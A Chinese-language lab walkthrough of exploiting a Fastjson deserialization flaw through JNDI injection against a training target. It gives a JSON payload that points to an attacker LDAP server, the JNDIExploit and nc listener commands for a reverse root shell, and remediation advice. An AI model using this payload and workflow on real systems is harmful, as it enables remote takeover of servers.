指纹识别 - 漏洞探测 - 搭建攻击环境 - 构造 Payload - RCE 提权 一、 整体攻击链路复盘上帝视角我们这次做的是一个非常经典的Fastjson 反序列化漏洞JNDI 注入的利用。整个流程就像一场精心策划的“特洛伊木马”行动踩点与伪装信息收集你发送了一个坏掉的 JSON ({)逼目标服务器报错。服务器很诚实把底层的错误信息com.alibaba.fastjson.JSONException打印出来了这就暴露了它的身份和版本。布置陷阱启动攻击环境你在 Kali 上启动了JNDIExploit这相当于开了一家“恶意军火库”LDAP 服务 1389 端口 HTTP 文件服务 3456 端口并准备了反弹 Shell 的恶意代码。投递木马发送 Payload你构造了一个带有type特性的恶意 JSON通过 Yakit 发送给目标。这个 JSON 的作用是欺骗目标服务器去你的“军火库”拿武器。触发爆炸目标执行目标服务器解析 JSON 时被诱导去请求你的 LDAP 服务然后下载并在自己的内存中执行了你的恶意类。建立据点反弹 Shell恶意类执行后主动向你的 Kali 的34560端口发起连接把服务器的控制权Root Shell交给了你。️ 二、 核心工具详解本次实战我们用到了三个关键工具理解它们的作用非常重要1. Yakit (Web Fuzzer)作用你的“发射器”。用来构造和发送精心设计的 HTTP 请求包含了恶意 JSON 的 POST 请求。为什么用它因为它可以方便地修改请求头Content-Type: application/json和请求体并且可以直观地看到服务器的响应。2. JNDIExploit (核心武器库)这是本次攻击的灵魂工具它同时扮演了两个角色LDAP 服务 (1389端口)当目标服务器发起 JNDI 查询时这个服务负责接收请求并返回一个“引用”Reference告诉目标“你要的东西不在我这去我的 HTTP 服务器下载吧”。HTTP 服务 (3456端口)负责托管恶意的.class文件。目标服务器通过这个服务下载真正的执行代码。Payload 生成器这个工具内置了多种利用链如ReverseShell反弹Shell、TomcatEcho回显等我们只需要在 URL 中指定类型和参数如 IP 和端口它就会自动生成对应的恶意类。3. Netcat (nc)作用你的“接收器”。用来监听一个本地端口如 34560等待目标服务器主动连接过来。为什么用它在 RCE远程代码执行利用中由于目标在内网我们无法直接连接它所以要让目标反向连接我们Reverse Shell。nc -nvlp 34560就是开启这个反向连接的门。 三、 底层原理深挖为什么会成功这里涉及到三个核心概念的连环触发Fastjson 的type特性Fastjson 为了支持多态允许在 JSON 中使用type字段指定要反序列化的 Java 类。攻击者利用这一点指定了com.sun.rowset.JdbcRowSetImpl这个类。JdbcRowSetImpl 的 JNDI 注入这个类在设置dataSourceName属性时会调用lookup()方法。而如果dataSourceName是一个ldap://开头的地址它就会去请求这个 LDAP 服务器。这就是漏洞触发点。JNDI (Java Naming and Directory Interface)Java 的命名和目录接口。它可以用来访问 LDAP、RMI 等服务。当 Java 通过 JNDI 访问一个远程的 LDAP 服务时如果服务端返回一个恶意的引用ReferenceJava 会自动去下载并实例化这个对象这就是为什么叫 JNDI 注入。️ 四、 防御与修复建议实战视角如果你是一名安全工程师面对这个漏洞该怎么修补升级 Fastjson 版本这是最直接的方法。升级到 Fastjson 1.2.83 或更高版本或者迁移到更安全的Fastjson2。关闭 AutoType在代码中开启ParserConfig.getGlobalInstance().setSafeMode(true);这样可以禁止type指定的任意类反序列化。限制 JNDI 访问在 Java 虚拟机层面可以通过设置-Dcom.sun.jndi.ldap.object.trustURLCodebasefalse来禁止 JNDI 从远程加载代码。网络层防御限制服务器主动向外网发起连接出网限制可以有效阻断反弹 Shell。 五、 结语通过这次实操你不仅学会了怎么用 Yakit 发送请求怎么用 JNDIExploit 架设服务怎么用 NC 接收 Shell更关键的是你走完了完整的渗透测试流程。那个 Yakit 的400报错其实是个很好的“彩蛋”——它告诉你实战中不是每次攻击都会得到“完美”的响应但只要底层逻辑通了目标依然会被拿下。实战步骤第一阶段信息收集与指纹识别目标确认目标网站是 Java 应用并识别出它使用的是 Fastjson 库。你的操作步骤步骤 1基础访问与初步判断在浏览器中访问目标网站http://10.3.4.93:8090观察返回的内容截图中是{age: 25, name: Bob}。思考为什么老师看图 1 的 Logo 和返回内容就能初步判断是 Java 部署的网站提示Spring Boot 默认返回 JSON 格式数据且带有特定的图标。其实在“看图识别框架”这件事上Logo 只是一个辅助线索。老师发给你看的这个“绿叶子”Logo在渗透测试中有个专门的说法叫favicon网站图标识别。 常见框架的 Logo 特征Spring Boot绿叶子图标。如果服务端没有自定义图标默认会沿用 Spring Boot 的 Logo 。Apache Shiro盾牌形图标。Shiro 本身没有自带的“网站Logo”但在实战中常通过Cookie中是否出现rememberMe字段来识别这个字段的默认值rememberMedeleteMe辨识度很高 。WordPress蓝色圆底、白色字母“W”的 Logo。这是全球使用最广泛的 CMS其默认的 favicon 和页面源码中的wp-content、wp-includes路径是强识别特征 。 除了 Logo还有哪些“一眼看出”的特征除了看 Logo在渗透测试的“信息收集”阶段通常还会从下面这几个维度交叉验证报错页面这是最直接的证据。你老师教程里用的就是这招通过构造畸形 JSON 拿到com.alibaba.fastjson.JSONException的报错。类似地Spring Boot 默认的白色报错页Whitelabel Error Page或包含nested exception字样的报错信息都是极强的指纹 。Cookie 特征这是最能直接暴露后端语言和框架的地方。如果 Set-Cookie 里出现JSESSIONID说明后端是 Java而PHPSESSID则对应 PHP 。响应头HeaderServer或X-Powered-By等响应头偶尔会直接“自报家门”比如X-Powered-By: ThinkPHP。URL 后缀比如.do、.action这样的后缀通常和 Java 的 Struts 或 Spring MVC 框架相关 。 工具推荐进阶如果不想在浏览器里手工比对可以使用Wappalyzer浏览器插件或 API或者WhatWeb这类工具自动分析页面源码、Headers 和 JS 文件等输出一份完整的技术栈清单 。步骤 2构造畸形 JSON 报错探测打开你的抓包工具Burp Suite 或直接使用 Postman。在kali中使用yakit由于 AppImage 在 Kali 等部分系统上需要特殊权限建议加上--no-sandbox参数启动./Yakit-1.4.9-0925-linux-amd64.AppImage --no-sandbox浏览器访问http://10.3.4.93:8090Intercept 界面会抓到一个GET请求因为你是直接访问网址。右键点击这个抓到的请求区域bp选择Send to Repeater发送到重放器快捷键是Ctrl RMac 是Cmd R。yakit则是发送到 Web Fuzzer构造一个POST请求发送到http://10.3.4.93:8090。设置添加请求头【在请求头的末尾Host行的下方】Content-Type: application/json设置请求体Body故意写一个不闭合的畸形 JSON{发送请求。步骤 3分析报错信息获取指纹观察服务器的响应图 2 右侧。你会看到返回了 HTTP 400 错误并且页面中包含了详细的异常堆栈。在报错信息中寻找关键字nested exception is com.alibaba.fastjson.JSONException。结论确认目标使用了Fastjson库。版本判断结合老师教程中提到的safe6Sec/Fastjson项目我们知道 Fastjson 在1.2.9 到 1.2.47版本之间存在通用的反序列化漏洞这就是我们接下来要利用的突破口。第二阶段搭建攻击环境目标在你自己的攻击机上启动恶意 LDAP 和 HTTP 服务用来接收目标发来的 JNDI 请求并托管恶意代码。你的操作步骤步骤 1准备攻击工具在你的攻击机Kali 或 VPS上下载教程里提到的工具包JNDIExploit-1.3-SNAPSHOT.jar。确保你的攻击机已经安装了 Java 运行环境JDK 1.8 左右即可。步骤 2启动 JNDI 恶意服务在攻击机的命令行终端中进入存放 jar 包的目录。执行以下命令启动服务注意替换 IPjava -jar JNDIExploit-1.3-SNAPSHOT.jar -i 你的攻击机IP(例如如果老师的攻击机 IP 是192.168.230.16命令就是java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.230.16)验证启动成功启动后终端会输出类似下面的内容[] LDAP Server Start Listening on 1389 ...[] HTTP Server Start Listening on 3456 ...(这代表 LDAP 服务监听了 1389 端口HTTP 服务监听了 3456 端口)步骤 3查看可用 Payload为了确认我们可以使用哪种反弹 Shell 的格式你可以执行下面这个命令查看工具帮助java -jar JNDIExploit-1.3-SNAPSHOT.jar -u在输出的信息里找到反弹 Shell 的格式通常是ldap://你的IP:1389/Basic/ReverseShell/[你的IP]/[你准备监听的端口]第三阶段准备接收反弹 Shell目标启动恶意服务并开启监听端口等待目标机器上线。步骤 1正式启动 JNDI 恶意服务终端窗口 A在你现在的这个终端或者新开一个终端进入工具所在目录已经开过了就不用操作这一步了。执行启动命令注意这次不要加-u并且把 IP 换成你攻击机的真实 IPjava -jar JNDIExploit-1.3-SNAPSHOT.jar -i 你的攻击机IP(例如java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.230.16)成功标志终端会挂起并显示[] LDAP Server Start Listening on 1389 ... [] HTTP Server Start Listening on 3456 ...⚠️注意这个终端窗口不要关闭让它一直挂着运行。只能开一个监听窗口除非换一个端口方法一杀掉之前占用的进程推荐如果你不知道之前那个窗口去哪了或者它还在后台挂着可以在当前终端执行以下命令强制结束所有占用端口的 Java 进程pkill -f JNDIExploit或者kill -9 $(lsof -t -i:1389)执行完后再次运行你的启动命令java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.196.78如果成功终端会显示LDAP Server Start Listening on 1389 ...和HTTP Server Start Listening on 3456 ...。方法二查找并手动关闭旧窗口检查你的任务栏或终端标签页看看是不是之前运行过java -jar JNDIExploit...的那个终端窗口没有关闭。直接在那个窗口按Ctrl C终止它然后再开一个新的终端来运行。方法三换个端口启动如果 1389 被其他重要服务占用如果 1389 端口被系统里其他必须运行的服务占用了你可以给工具指定新的端口java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.196.78 -l 13890 -p 34560(解释-l指定 LDAP 端口为 13890-p指定 HTTP 端口为 34560)注意如果你换了 LDAP 端口之后构造 Payload 时也要把端口改成新的ldap://192.168.196.78:13890/Basic/ReverseShell/192.168.196.78/34560若杀不掉 第一步排查是谁占用了端口在终端里执行以下命令看看究竟是谁霸占了 1389 端口sudo lsof -i:1389(如果提示没有 lsof可以用netstat -tulnp | grep 1389代替)可能出现的两种情况如果是 Java 进程说明你的JNDIExploit还在后台没死透。如果是其他进程如 dnsmasq 等说明你 Kali 系统里有别的服务占用了这个端口。️ 第二步暴力清理推荐不管是谁为了确保环境干净直接执行以下命令强制杀掉占用 1389 和 3456 端口的进程sudo fuser -k 1389/tcp sudo fuser -k 3456/tcp(fuser -k可以直接根据端口号杀掉相关进程非常管用)杀掉后再次执行启动命令java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.196.78 备选方案如果 1389 被系统重要服务占用无法释放在 Kali 中有时 1389 会被其他系统服务如 LDAP 客户端服务占用。如果清理后依然报错不要死磕直接换端口启动。执行以下命令把 LDAP 端口改成13890注意多了一个0java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.196.78 -l 13890⚠️特别注意如果你使用了备选方案换成了13890端口那么在下一阶段构造 JNDI 链接时链接里的端口也要改成 13890即ldap://192.168.196.78:13890/Basic/ReverseShell/192.168.196.78/34560步骤 2开启 NC 监听端口终端窗口 B新开一个终端窗口不要关掉刚才那个。执行监听命令。这里非常关键端口不要写 3456因为被工具占用了我们用 34560nc -nvlp 34560成功标志终端会显示listening on [any] 34560 ...然后光标闪烁等待连接。步骤 3构造最终的 JNDI Payload根据你截图里看到的格式ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port]结合我们刚才设置的参数最终的 Payload 是ldap://你的攻击机IP:1389/Basic/ReverseShell/你的攻击机IP/34560(例如ldap://192.168.230.16:1389/Basic/ReverseShell/192.168.230.16/34560)把这个 Payload 记下来下一阶段我们要把它塞进 JSON 里发给目标。ldap://192.168.196.78:1389/Basic/ReverseShell/192.168.196.78/34560第四阶段构造 Fastjson 恶意 Payload 并发送目标把我们准备好的 JNDI 链接塞进 Fastjson 的利用链里发给目标服务器。步骤 1回到 Yakit 的 Web Fuzzer回到你刚才成功测试出HTTP/1.1 400的那个请求页面。步骤 2替换请求体Body把第 11 行那个单独的{删掉替换成下面这段完整的 JSON 代码{ a: { type: java.lang.Class, val: com.sun.rowset.JdbcRowSetImpl }, b: { type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://192.168.196.78:1389/Basic/ReverseShell/192.168.196.78/34560, autoCommit: true } }⚠️极其重要的检查请务必仔细核对dataSourceName里的 IP 和端口第一处 IP192.168.196.78这是你的 JNDI 攻击服务器 IP。端口1389这是你启动 JNDI 工具时监听的 LDAP 端口如果你之前换了端口这里要跟着改不过我一般不会换。第二处 IP192.168.196.78这是你准备接收反弹 Shell 的 IP通常和攻击机一样。端口34560这是你之前用nc -nvlp 34560开启的监听端口。步骤 3确保请求头正确第 1 行必须是POST / HTTP/1.1第 9 行必须有Content-Type: application/json请求头和 JSON 之间必须有一个空行第 10 行。步骤 4发送攻击点击 Yakit 的发送按钮。第五阶段验证与获取权限观察点 1Yakit 的响应如果攻击成功目标服务器的响应可能是一个HTTP/1.1 500错误因为 Fastjson 在反序列化时会去请求你的 LDAP 服务这个过程可能会让请求超时或抛出异常。也可能会返回正常页面或 200这取决于目标服务器的配置。不要只盯着 Yakit 的响应看。观察点 2JNDI 工具终端你启动java -jar的那个窗口这是判断攻击是否成功的关键。如果你看到类似下面的日志输出说明目标已经上钩[] Received LDAP Query: Basic/ReverseShell/192.168.196.78/34560 [] Payload: reversereverse [] Sending LDAP ResourceRef result for Basic/ReverseShell/192.168.196.78/34560 [] New HTTP Request From /10.3.4.93:xxxxx /ExploitXXXXX.class [] Receive ClassRequest: ExploitXXXXX.class [] Response Code: 200(解释目标通过 LDAP 查询了你的服务然后通过 HTTP 请求下载了恶意的.class文件并执行)观察点 3NC 监听终端你执行nc -nvlp 34560的那个窗口如果前面的步骤都顺利此时你的 NC 窗口会弹出一串连接信息并且出现类似bash: cannot set terminal process group...的提示最后会给你一个命令提示符比如root...:/#。就是在 NC 窗口里输入以下命令验证就是在那个root1cf5a9298273:/#的光标后面试着输入几个命令感受一下“拿下服务器”的感觉输入whoami回车确认是不是 root。输入ls回车看看它里面有什么文件。输入ip a回车看看它的内网 IP 是不是10.3.4.93。whoami如果返回root恭喜你RCE 成功最后总结和扩展练习️ 复现这次攻击的关键条件你这次的攻击能成功除了工具和payload其实还依赖了目标环境的特定“窗口”Fastjson 版本介于 1.2.25 到 1.2.47 之间这个区间有利用type绕过checkAutoType的经典漏洞。JDK 版本必须是低版本如 JDK 8u191 以下高版本 JDK 默认禁止 JNDI 远程加载代码攻击会被拦截。配置状态通常是 AutoType 未开启或开发者手动开启了或者处于 SafeMode 未启用的默认状态。 推荐练手靶场与进阶方向下面的靶场能帮助你从不同维度巩固和理解 Fastjson 漏洞可以根据自己的基础选择靶场 / 项目核心特点适合人群获取地址Vulhub一键启动经典漏洞环境含 1.2.24-rce、1.2.47-rce希望快速复现基础漏洞理解利用链的初学者GitHub:vulhub/vulhubwhy-success/fastjson-rce-lab针对 1.2.83 高版本的 Gadget-free 利用更接近真实场景已掌握基础希望挑战高版本绕过的人GitHub:why-success/fastjson-rce-labApe1ron/fastjson1283poc_public覆盖 Tomcat/Jetty 等不同容器、JDK 8/17 等不同 JDK 的利用路径对底层利用技术感兴趣想在复杂环境下练习GitHub:Ape1ron/fastjson1283poc_publicJavaVul提供从 1.2.24 到 1.2.66 等多个版本的靶场便于系统化练习希望系统练习各个版本绕过技术的进阶者GitHub:007panda/JavaVul你可以先从Vulhub里较新的 1.2.47-rce 环境开始对比你这次的操作会发现在环境搭建上简单很多。之后如果想挑战可以去尝试 1.2.83 的靶场那里更需要你理解LaunchedURLClassLoader或/proc/self/fd这类底层机制。